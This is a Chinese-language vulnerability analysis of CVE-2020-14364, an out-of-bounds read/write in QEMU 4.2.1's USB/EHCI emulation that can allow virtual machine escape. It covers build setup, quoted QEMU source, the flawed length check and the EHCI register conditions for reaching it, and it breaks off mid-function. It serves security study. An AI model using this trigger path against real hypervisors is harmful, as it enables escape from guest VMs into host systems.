CVE-2020-14364 QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。
环境搭建 漏洞复现Qemu版本为v4.2.1 
安装依赖 
安装spice-protocol:
1 2 3 4 5 6 wget https:// spice-space.org/download/ releases/spice-protocol-0.12 .10 .tar.bz2 tar xvf spice-protocol-0.12 .10 .tar.bz2 cd spice-protocol-0.12 .10 / ./configure  make sudo make install
 
安装celt:
1 2 3 4 5 6 wget http:// downloads.us.xiph.org/releases/ celt/celt-0.5 .1.3 .tar.gz tar zxvf celt-0.5 .1.3 .tar.gz  cd celt-0.5 .1.3 /  ./configure   make  sudo make install
 
安装依赖:
1 2 sudo apt install libjpeg-dev  sudo apt-get  install libsasl2-dev 
 
安装spice-server
1 2 3 4 5 6 wget https:// spice-space.org/download/ releases/spice-server/ spice-0.12 .7 .tar.bz2 tar xvf spice-0.12 .7 .tar.bz2 cd spice-0.12 .7 / ./configure   make  sudo make install
 
编译qemu
1 2 3 4 5 git clone https://github.com/qemu/qemu.git git checkout tags/4.2.1 mkdir build && cd build ../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice make -j6
 
高版本ld版本不支持编译qemu-4.2.1,降低ld版本。
1 2 3 4 5 6 7 8 9 10 wget https://ftp.gnu.org/gnu/binutils/binutils-2.30.tar.gz tar -xvf binutils-2.30.tar.gz cd binutils-2.30 ./configure --prefix=/usr/local/binutils  make -j6 sudo make install#  替换掉高版本的ld  cd /usr/local/binutils sudo mv /usr/bin/ld /usr/bin/ld.back sudo ln -s /usr/local/binutils/bin/ld /usr/bin/ld
 
漏洞原理 前置知识 关键结构体 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 struct  USBDevice  {     DeviceState qdev;     USBPort *port;     char  *port_path;     char  *serial;     void  *opaque;     uint32_t  flags;          int  speed;          int  speedmask;     uint8_t  addr;     char  product_desc[32 ];     int  auto_attach;     bool  attached;     int32_t  state;     uint8_t  setup_buf[8 ];     uint8_t  data_buf[4096 ];		     int32_t  remote_wakeup;     int32_t  setup_state;     int32_t  setup_len;     int32_t  setup_index;     USBEndpoint ep_ctl;     USBEndpoint ep_in[USB_MAX_ENDPOINTS];     USBEndpoint ep_out[USB_MAX_ENDPOINTS];     QLIST_HEAD(, USBDescString) strings;     const  USBDesc *usb_desc;      const  USBDescDevice *device;     int  configuration;     int  ninterfaces;     int  altsetting[USB_MAX_INTERFACES];     const  USBDescConfig *config;     const  USBDescIface  *ifaces[USB_MAX_INTERFACES]; };struct  EHCIState {      USBBus bus;     DeviceState *device;     qemu_irq irq;     MemoryRegion mem;     AddressSpace *as;     MemoryRegion mem_caps;     MemoryRegion mem_opreg;     MemoryRegion mem_ports;     int  companion_count;     bool  companion_enable;     uint16_t  capsbase;     uint16_t  opregbase;     uint16_t  portscbase;     uint16_t  portnr;          uint32_t  maxframes;          uint8_t  caps[CAPA_SIZE];     union     {          uint32_t  opreg[0x44  / sizeof (uint32_t )];         struct         {              uint32_t  usbcmd;             uint32_t  usbsts;             uint32_t  usbintr;             uint32_t  frindex;             uint32_t  ctrldssegment;             uint32_t  periodiclistbase;             uint32_t  asynclistaddr;             uint32_t  notused[9 ];             uint32_t  configflag;         };     };     uint32_t  portsc[NB_PORTS];          QEMUTimer *frame_timer;     QEMUBH *async_bh;     bool  working;     uint32_t  astate;      uint32_t  pstate;      USBPort ports[NB_PORTS];     USBPort *companion_ports[NB_PORTS];     uint32_t  usbsts_pending;     uint32_t  usbsts_frindex;     EHCIQueueHead aqueues;     EHCIQueueHead pqueues;          uint32_t  a_fetch_addr;     uint32_t  p_fetch_addr;     USBPacket ipacket;     QEMUSGList isgl;     uint64_t  last_run_ns;     uint32_t  async_stepdown;     uint32_t  periodic_sched_active;     bool  int_req_by_async;     VMChangeStateEntry *vmstate; };
 
关键函数 
usb_packet_copy 函数根据p->pid 判断调用iov_to_buf 函数或者是iov_from_buf 函数。在漏洞利用过程中,iov_from_buf函数将s->data_buf + s->setup_index 复制到iov->iov.base 用户空间中,实现设备空间读。iov_to_buf 函数将iov->iov.base 复制到s->data_buf + s->setup_index 设备空间中,实现设备空间写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 void  usb_packet_copy (USBPacket *p, void  *ptr, size_t  bytes)  {     QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;     assert(p->actual_length >= 0 );     assert(p->actual_length + bytes <= iov->size);     switch  (p->pid) {     case  USB_TOKEN_SETUP:     case  USB_TOKEN_OUT:         iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);         break ;     case  USB_TOKEN_IN:         iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);         break ;     default :         fprintf (stderr , "%s: invalid pid: %x\n" , __func__, p->pid);         abort ();     }     p->actual_length += bytes; }static  inline  size_t iov_from_buf (const  struct  iovec *iov, unsigned  int  iov_cnt,              size_t  offset, const  void  *buf, size_t  bytes)  {     if  (__builtin_constant_p(bytes) && iov_cnt &&         offset <= iov[0 ].iov_len && bytes <= iov[0 ].iov_len - offset) {         memcpy (iov[0 ].iov_base + offset, buf, bytes);         return  bytes;     } else  {         return  iov_from_buf_full(iov, iov_cnt, offset, buf, bytes);     } }static  inline  size_t iov_to_buf (const  struct  iovec *iov, const  unsigned  int  iov_cnt,            size_t  offset, void  *buf, size_t  bytes)  {     if  (__builtin_constant_p(bytes) && iov_cnt &&         offset <= iov[0 ].iov_len && bytes <= iov[0 ].iov_len - offset) {         memcpy (buf, iov[0 ].iov_base + offset, bytes);         return  bytes;     } else  {         return  iov_to_buf_full(iov, iov_cnt, offset, buf, bytes);     } }
 
上述iov->iov.base 是用户可以控制的地址,具体可从以下函数追溯。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 if  (p->async == EHCI_ASYNC_NONE)     {         if  (ehci_init_transfer(p) != 0 )         {             return  -1 ;         }         spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0 );         usb_packet_setup(&p->packet, p->pid, ep, 0 , p->qtdaddr, spd,                          (p->qtd.token & QTD_TOKEN_IOC) != 0 );         usb_packet_map(&p->packet, &p->sgl);         p->async = EHCI_ASYNC_INITIALIZED;     }int  usb_packet_map (USBPacket *p, QEMUSGList *sgl)  {     DMADirection dir = (p->pid == USB_TOKEN_IN) ?         DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE;     void  *mem;     int  i;     for  (i = 0 ; i < sgl->nsg; i++) {         dma_addr_t  base = sgl->sg[i].base;         dma_addr_t  len = sgl->sg[i].len;         while  (len) {             dma_addr_t  xlen = len;             mem = dma_memory_map(sgl->as, base, &xlen, dir);             if  (!mem) {                 goto  err;             }             if  (xlen > len) {                 xlen = len;             }             qemu_iovec_add(&p->iov, mem, xlen);	             len -= xlen;             base += xlen;         }     }     return  0 ; err:     usb_packet_unmap(p, sgl);     return  -1 ; }void  qemu_iovec_add (QEMUIOVector *qiov, void  *base, size_t  len)  {     assert(qiov->nalloc != -1 );     if  (qiov->niov == qiov->nalloc) {         qiov->nalloc = 2  * qiov->nalloc + 1 ;         qiov->iov = g_renew(struct  iovec, qiov->iov, qiov->nalloc);     }     qiov->iov[qiov->niov].iov_base = base;     qiov->iov[qiov->niov].iov_len = len;     qiov->size += len;     ++qiov->niov; }
 
接下来就看sgl->sg[i].base 与sgl->sg[i].len 从何处而来即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 if  (p->async == EHCI_ASYNC_NONE)     {         if  (ehci_init_transfer(p) != 0 )         {             return  -1 ;         }         spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0 );         usb_packet_setup(&p->packet, p->pid, ep, 0 , p->qtdaddr, spd,                          (p->qtd.token & QTD_TOKEN_IOC) != 0 );         usb_packet_map(&p->packet, &p->sgl);         p->async = EHCI_ASYNC_INITIALIZED;     }static  int  ehci_init_transfer (EHCIPacket *p)  {     uint32_t  cpage, offset, bytes, plen;     dma_addr_t  page;     cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE);     bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES);     offset = p->qtd.bufptr[0 ] & ~QTD_BUFPTR_MASK;     qemu_sglist_init(&p->sgl, p->queue ->ehci->device, 5 , p->queue ->ehci->as);     while  (bytes > 0 )     {         if  (cpage > 4 )         {             fprintf (stderr , "cpage out of range (%d)\n" , cpage);             qemu_sglist_destroy(&p->sgl);             return  -1 ;         }         page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK;         page += offset;         plen = bytes;         if  (plen > 4096  - offset)         {             plen = 4096  - offset;             offset = 0 ;             cpage++;         }         qemu_sglist_add(&p->sgl, page, plen);	         bytes -= plen;     }     return  0 ; }void  qemu_sglist_add (QEMUSGList *qsg, dma_addr_t  base, dma_addr_t  len)  {     if  (qsg->nsg == qsg->nalloc) {         qsg->nalloc = 2  * qsg->nalloc + 1 ;         qsg->sg = g_realloc(qsg->sg, qsg->nalloc * sizeof (ScatterGatherEntry));     }     qsg->sg[qsg->nsg].base = base;     qsg->sg[qsg->nsg].len = len;     qsg->size += len;     ++qsg->nsg; }
 
p->qtd.token 字段是我们可以控制的,总的来说,调用usb_packet_map 函数可以实现用户可控内容读写。
漏洞定位 qemu-4.2.1\hw\usb\core.c: do_token_setup
[1]处调用usb_packet_copy 函数控制变量s->setup_buf,[2]处根据s->setup_buf 为变量s->setup_len赋值,其最大为0xffff,但是[3]处判断逻辑出现问题,使得s->setup_len > sizeof(s->data_buf) 条件成立的情况下,依然为变量s->setup_len 赋值,没有起到检查的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 static  void  do_token_setup (USBDevice *s, USBPacket *p)  {     int  request, value, index;     if  (p->iov.size != 8 ) {         p->status = USB_RET_STALL;         return ;     }     usb_packet_copy(p, s->setup_buf, p->iov.size);	     s->setup_index = 0 ;     p->actual_length = 0 ;     s->setup_len   = (s->setup_buf[7 ] << 8 ) | s->setup_buf[6 ];	     if  (s->setup_len > sizeof (s->data_buf)) {	         fprintf (stderr ,                 "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n" ,                 s->setup_len, sizeof (s->data_buf));         p->status = USB_RET_STALL;         return ;     }     request = (s->setup_buf[0 ] << 8 ) | s->setup_buf[1 ];     value   = (s->setup_buf[3 ] << 8 ) | s->setup_buf[2 ];     index   = (s->setup_buf[5 ] << 8 ) | s->setup_buf[4 ];     if  (s->setup_buf[0 ] & USB_DIR_IN) {         usb_device_handle_control(s, p, request, value, index,                                   s->setup_len, s->data_buf);         if  (p->status == USB_RET_ASYNC) {             s->setup_state = SETUP_STATE_SETUP;         }         if  (p->status != USB_RET_SUCCESS) {             return ;         }         if  (p->actual_length < s->setup_len) {             s->setup_len = p->actual_length;         }         s->setup_state = SETUP_STATE_DATA;     } else  {         if  (s->setup_len == 0 )             s->setup_state = SETUP_STATE_ACK;         else              s->setup_state = SETUP_STATE_DATA;     }     p->actual_length = 8 ; }
 
qemu-4.2.1\hw\usb\core.c:do_token_in
[1]处通过s->setup_len获取len字段,而p->iov.size 根据上述分析用户可控,然后在[2]处调用usb_packet_copy 函数造成越界访问,从而获取越界读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 static  void  do_token_in (USBDevice *s, USBPacket *p)  {     int  request, value, index;     assert(p->ep->nr == 0 );     request = (s->setup_buf[0 ] << 8 ) | s->setup_buf[1 ];     value   = (s->setup_buf[3 ] << 8 ) | s->setup_buf[2 ];     index   = (s->setup_buf[5 ] << 8 ) | s->setup_buf[4 ];     switch (s->setup_state) {     case  SETUP_STATE_ACK:         if  (!(s->setup_buf[0 ] & USB_DIR_IN)) {             usb_device_handle_control(s, p, request, value, index,                                       s->setup_len, s->data_buf);             if  (p->status == USB_RET_ASYNC) {                 return ;             }             s->setup_state = SETUP_STATE_IDLE;             p->actual_length = 0 ;         }         break ;     case  SETUP_STATE_DATA:	         if  (s->setup_buf[0 ] & USB_DIR_IN) {	             int  len = s->setup_len - s->setup_index;	             if  (len > p->iov.size) {                 len = p->iov.size;             }             usb_packet_copy(p, s->data_buf + s->setup_index, len);	             s->setup_index += len;             if  (s->setup_index >= s->setup_len) {                 s->setup_state = SETUP_STATE_ACK;             }             return ;         }         s->setup_state = SETUP_STATE_IDLE;         p->status = USB_RET_STALL;         break ;     default :         p->status = USB_RET_STALL;     } }
 
qemu-4.2.1\hw\usb\core.c:do_token_out
同理,[1]处通过s->setup_len获取len字段,而p->iov.size 根据上述分析用户可控,然后在[2]处调用usb_packet_copy 函数造成越界写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static  void  do_token_out (USBDevice *s, USBPacket *p)  {     assert(p->ep->nr == 0 );     switch (s->setup_state) {     case  SETUP_STATE_ACK:         if  (s->setup_buf[0 ] & USB_DIR_IN) {             s->setup_state = SETUP_STATE_IDLE;                      } else  {                      }         break ;     case  SETUP_STATE_DATA:         if  (!(s->setup_buf[0 ] & USB_DIR_IN)) {             int  len = s->setup_len - s->setup_index;	             if  (len > p->iov.size) {                 len = p->iov.size;             }             usb_packet_copy(p, s->data_buf + s->setup_index, len);	             s->setup_index += len;             if  (s->setup_index >= s->setup_len) {                 s->setup_state = SETUP_STATE_ACK;             }             return ;         }         s->setup_state = SETUP_STATE_IDLE;         p->status = USB_RET_STALL;         break ;     default :         p->status = USB_RET_STALL;     } }
 
USB设备初始化 USB控制器是连接USB设备与计算机系统的桥梁。USB控制器负责管理USB总线上的通信,并确保USB设备能够正确地与计算机交互。
USB控制器类型 
OHCI、UHCI都是USB1.1的接口标准,而EHCI是对应USB2.0的接口标准,最新的xHCI是USB3.0的接口标准。
OHCI( Open Host Controller Interface ) :一个不仅仅是usb用的主控制器接口标准。主要是遵循csr (configuration space register)标准。是其他厂商在设计usb host controller时遵循的标准,如via, nec, ali, 包括nvidia等等。支持USB1.1的标准。
UHCI (Universal Host Controller Interface ),是Intel主导的对USB1.0、1.1的接口标准,与OHCI不兼容。
EHCI(Enhanced Host Controller Interface ) ,是Intel主导的USB2.0的接口标准。EHCI仅提供USB2.0的高速功能,而依靠UHCI或OHCI来提供对全速(full-speed)或低速(low-speed)设备的支持。
xHCI( eXtensible Host Controller Interface ),是最新的USB3.0的接口标准,它在速度、节能、虚拟化等方面都比前面3中有了较大的提高。xHCI 支持所有种类速度的USB设备(USB 3.0 SuperSpeed, USB 2.0 Low-, Full-, and High-speed, USB 1.1 Low- and Full-speed)。xHCI的目的是为了替换前面三种(UHCI/OHCI/EHCI)。
USB控制器初始化 
在QEMU启动日志中可以看到,USB使用的控制器类型是EHCI,具体模拟的设备为ehci-pci,基于此设备控制USB设备的行为。
查看ehci-pci设备的具体初始化过程。ehci_pci设备的初始化符合QOM模型。
首先查看echi_pci类型注册过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static  const  TypeInfo ehci_pci_type_info = {     .name = TYPE_PCI_EHCI,     .parent = TYPE_PCI_DEVICE,     .instance_size = sizeof (EHCIPCIState),     .instance_init = usb_ehci_pci_init,     .instance_finalize = usb_ehci_pci_finalize,     .abstract = true ,     .class_init = ehci_class_init,     .interfaces = (InterfaceInfo[]) {         { INTERFACE_CONVENTIONAL_PCI_DEVICE },         { },     }, }; type_register_static(&ehci_pci_type_info);
 
从类型注册中可以看到,类型初始化函数为ehci_class_init,类型的实例初始化函数为usb_ehci_pci_init。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 static  void  ehci_class_init (ObjectClass *klass, void  *data)  {     DeviceClass *dc = DEVICE_CLASS(klass);     PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);     k->realize = usb_ehci_pci_realize;     k->exit  = usb_ehci_pci_exit;     k->class_id = PCI_CLASS_SERIAL_USB;     k->config_write = usb_ehci_pci_write_config;     dc->vmsd = &vmstate_ehci_pci;     dc->props = ehci_pci_properties;     dc->reset = usb_ehci_pci_reset; }static  void  usb_ehci_pci_init (Object *obj)  {     DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);     EHCIPCIState *i = PCI_EHCI(obj);     EHCIState *s = &i->ehci;     s->caps[0x09 ] = 0x68 ;             s->capsbase = 0x00 ;     s->opregbase = 0x20 ;     s->portscbase = 0x44 ;     s->portnr = NB_PORTS;     if  (!dc->hotpluggable) {         s->companion_enable = true ;     }     usb_ehci_init(s, DEVICE(obj)); }void  usb_ehci_init (EHCIState *s, DeviceState *dev)  {          s->caps[0x00 ] = (uint8_t )(s->opregbase - s->capsbase);     s->caps[0x01 ] = 0x00 ;     s->caps[0x02 ] = 0x00 ;     s->caps[0x03 ] = 0x01 ;           s->caps[0x04 ] = s->portnr;      s->caps[0x05 ] = 0x00 ;           s->caps[0x06 ] = 0x00 ;     s->caps[0x07 ] = 0x00 ;     s->caps[0x08 ] = 0x80 ;      s->caps[0x0a ] = 0x00 ;     s->caps[0x0b ] = 0x00 ;     QTAILQ_INIT(&s->aqueues);     QTAILQ_INIT(&s->pqueues);     usb_packet_init(&s->ipacket);     memory_region_init(&s->mem, OBJECT(dev), "ehci" , MMIO_SIZE);     memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,                           "capabilities" , CAPA_SIZE);     memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,                           "operational" , s->portscbase);     memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,                           "ports" , 4  * s->portnr);     memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);     memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);     memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,                                 &s->mem_ports); }
 
ehci_class_init 函数注册设备的实现函数为usb_ehci_pci_realize。
usb_ehci_pci_init 函数初始化EHCIState 结构体部分字段,并调用usb_ehci_init 函数为EHCIState 的caps opreg ports 等字段注册回调函数,通过读写相应内存,可触发相关回调函数。不同字段的访问基地址和范围是不同的,caps 基址定义在capsbase,也即0x0,opreg 基址定义在portscbase,也即0x20 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static  const  MemoryRegionOps ehci_mmio_caps_ops = {     .read = ehci_caps_read,     .write = ehci_caps_write,     .valid.min_access_size = 1 ,     .valid.max_access_size = 4 ,     .impl.min_access_size = 1 ,     .impl.max_access_size = 1 ,     .endianness = DEVICE_LITTLE_ENDIAN, };static  const  MemoryRegionOps ehci_mmio_opreg_ops = {     .read = ehci_opreg_read,     .write = ehci_opreg_write,     .valid.min_access_size = 4 ,     .valid.max_access_size = 4 ,     .endianness = DEVICE_LITTLE_ENDIAN, };static  const  MemoryRegionOps ehci_mmio_port_ops = {     .read = ehci_port_read,     .write = ehci_port_write,     .valid.min_access_size = 4 ,     .valid.max_access_size = 4 ,     .endianness = DEVICE_LITTLE_ENDIAN, };
 
这里主要关注opreg字段,而且主要用到了写回调函数,所以查看ehci_opreg_write 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 static  void  ehci_opreg_write (void  *ptr, hwaddr addr,                              uint64_t  val, unsigned  size)  {     EHCIState *s = ptr;     uint32_t  *mmio = s->opreg + (addr >> 2 );     uint32_t  old = *mmio;     int  i;     trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);     switch  (addr)     {     case  USBCMD:          if  (val & USBCMD_HCRESET)         {             ehci_reset(s);             val = s->usbcmd;             break ;         }                  if  ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS))         {             fprintf (stderr , "attempt to set frame list size -- value %d\n" ,                     (int )val & USBCMD_FLS);             val &= ~USBCMD_FLS;         }         if  (val & USBCMD_IAAD)         {                          s->async_stepdown = 0 ;             qemu_bh_schedule(s->async_bh);             trace_usb_ehci_doorbell_ring();         }         if  (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) !=             ((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd))         {             if  (s->pstate == EST_INACTIVE)             {                 SET_LAST_RUN_CLOCK(s);             }             s->usbcmd = val;              ehci_update_halt(s);             s->async_stepdown = 0 ;             qemu_bh_schedule(s->async_bh);         }         break ;     case  USBSTS:                            val &= USBSTS_RO_MASK;              ehci_clear_usbsts(s, val);          val = s->usbsts;         ehci_update_irq(s);         break ;     case  USBINTR:          val &= USBINTR_MASK;         if  (ehci_enabled(s) && (USBSTS_FLR & val))         {             qemu_bh_schedule(s->async_bh);         }         break ;     case  FRINDEX:                   val &= 0x00003fff ;          s->usbsts_frindex = val;         break ;     case  CONFIGFLAG:          val &= 0x1 ;         if  (val)         {             for  (i = 0 ; i < NB_PORTS; i++)                 handle_port_owner_write(s, i, 0 );         }         break ;     case  PERIODICLISTBASE:          if  (ehci_periodic_enabled(s))         {             fprintf (stderr ,                     "ehci: PERIODIC list base register set while periodic schedule\n"                      "      is enabled and HC is enabled\n" );         }         break ;     case  ASYNCLISTADDR:          if  (ehci_async_enabled(s))         {             fprintf (stderr ,                     "ehci: ASYNC list address register set while async schedule\n"                      "      is enabled and HC is enabled\n" );         }         break ;     }     *mmio = val;     trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr),                                 *mmio, old); }
 
这个函数通过传入的addr 判断跳入到哪个switch分支,然后为EHCIState 的opreg 字段赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 union {      uint32_t  opreg[0x44  / sizeof (uint32_t )];     struct     {          uint32_t  usbcmd;         uint32_t  usbsts;         uint32_t  usbintr;         uint32_t  frindex;         uint32_t  ctrldssegment;         uint32_t  periodiclistbase;         uint32_t  asynclistaddr;         uint32_t  notused[9 ];         uint32_t  configflag;     }; };
 
漏洞调用链 当触发到do_token_setup 函数时,函数调用链如下:
简单梳理下可以得到如下格式的调用链:
1 ehci_work_bh -> ehci_advance_periodic_static -> ehci_advance_state -> ehci_state_execute -> ehci_execute -> usb_handle_packet -> usb_process_one -> do_token_setup
 
让我们逐个查看如何触发到最终函数。
ehci_work_bh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 static  void  ehci_work_bh (void  *opaque)  {     EHCIState *ehci = opaque;     int  need_timer = 0 ;     int64_t  expire_time, t_now;     uint64_t  ns_elapsed;     uint64_t  uframes, skipped_uframes;     int  i;     if  (ehci->working)     {         return ;     }     ehci->working = true ;     t_now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);     ns_elapsed = t_now - ehci->last_run_ns;     uframes = ns_elapsed / UFRAME_TIMER_NS;     if  (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE)     {         need_timer++;         if  (uframes > (ehci->maxframes * 8 ))         {             skipped_uframes = uframes - (ehci->maxframes * 8 );             ehci_update_frindex(ehci, skipped_uframes);             ehci->last_run_ns += UFRAME_TIMER_NS * skipped_uframes;             uframes -= skipped_uframes;             DPRINTF("WARNING - EHCI skipped %d uframes\n" , skipped_uframes);         }         for  (i = 0 ; i < uframes; i++)         {                          if  (i >= MIN_UFR_PER_TICK)             {                 ehci_commit_irq(ehci);                 if  ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr)                 {                     break ;                 }             }             if  (ehci->periodic_sched_active)             {                 ehci->periodic_sched_active--;             }             ehci_update_frindex(ehci, 1 );             if  ((ehci->frindex & 7 ) == 0 )             {                 ehci_advance_periodic_state(ehci);	             }             ehci->last_run_ns += UFRAME_TIMER_NS;         }     }         ehci->working = false ; }static  inline  bool  ehci_periodic_enabled (EHCIState *s)  {     return  ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); }static  inline  bool  ehci_enabled (EHCIState *s)  {     return  s->usbcmd & USBCMD_RUNSTOP; }
 
这里我们看到,我们需要满足ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE 为真,才能进入到if逻辑中。这里设置s->usbcmd & USBCMD_PSE == 1 && s->usbcmd & USBCMD_RUNSTOP == 1 即可。s->usbcmd 属于s->opreg数组中,而数组中的字段是我们可控的。  之后需要满足ehci->frindex & 7 == 0  ,这里直接设置ehci->frindex 为0即可。
总的来说,这个函数需要满足以下条件:
1 2 s->usbcmd & USBCMD_PSE == 1  && s->usbcmd & USBCMD_RUNSTOP == 1 ; ehci->frindex == 0 
 
ehci_advance_periodic_state
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 static  void  ehci_advance_periodic_state (EHCIState *ehci)  {     uint32_t  entry;     uint32_t  list ;     const  int  async = 0 ;          switch  (ehci_get_state(ehci, async))     {     case  EST_INACTIVE:         if  (!(ehci->frindex & 7 ) && ehci_periodic_enabled(ehci))         {             ehci_set_state(ehci, async, EST_ACTIVE);                      }         else              break ;     case  EST_ACTIVE:         if  (!(ehci->frindex & 7 ) && !ehci_periodic_enabled(ehci))         {             ehci_queues_rip_all(ehci, async);             ehci_set_state(ehci, async, EST_INACTIVE);             break ;         }         list  = ehci->periodiclistbase & 0xfffff000 ;                  if  (list  == 0 )         {             break ;         }         list  |= ((ehci->frindex & 0x1ff8 ) >> 1 );         if  (get_dwords(ehci, list , &entry, 1 ) < 0 )         {             break ;         }         DPRINTF("PERIODIC state adv fr=%d.  [%08X] -> %08X\n" ,                 ehci->frindex / 8 , list , entry);         ehci_set_fetch_addr(ehci, async, entry);         ehci_set_state(ehci, async, EST_FETCHENTRY);         ehci_advance_state(ehci, async);	         ehci_queues_rip_unused(ehci, async);         break ;     default :                  fprintf (stderr , "ehci: Bad periodic state %d. "                          "Resetting to active\n" ,                 ehci->pstate);         g_assert_not_reached();     } }static  inline  int  get_dwords (EHCIState *ehci, uint32_t  addr,                              uint32_t  *buf, int  num)  {     int  i;     if  (!ehci->as)     {         ehci_raise_irq(ehci, USBSTS_HSE);         ehci->usbcmd &= ~USBCMD_RUNSTOP;         trace_usb_ehci_dma_error();         return  -1 ;     }     for  (i = 0 ; i < num; i++, buf++, addr += sizeof (*buf))     {         dma_memory_read(ehci->as, addr, buf, sizeof (*buf));         *buf = le32_to_cpu(*buf);     }     return  num; }
 
这里通过调试,可以发现总是走EST_ACTIVE 这个分支,if 判断由上述分析可知也是不会步入的。然后通过ehci->periodiclistbase字段设置变量list ,并获取list 地址内容到变量entry 中,也即*list = entry 。然后设置ehci->p_fetch_addr = entry。
这里通过控制ehci->periodiclistbase 字段地址内容即可控制ehci->p_fetch_addr 字段。
ehci_advance_state 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 static  void  ehci_advance_state (EHCIState *ehci, int  async)  {     EHCIQueue *q = NULL ;     int  itd_count = 0 ;     int  again;     do      {         switch  (ehci_get_state(ehci, async))         {         case  EST_WAITLISTHEAD:             again = ehci_state_waitlisthead(ehci, async);             break ;         case  EST_FETCHENTRY:             again = ehci_state_fetchentry(ehci, async);             break ;         case  EST_FETCHQH:             q = ehci_state_fetchqh(ehci, async);             if  (q != NULL )             {                 assert(q->async == async);                 again = 1 ;             }             else              {                 again = 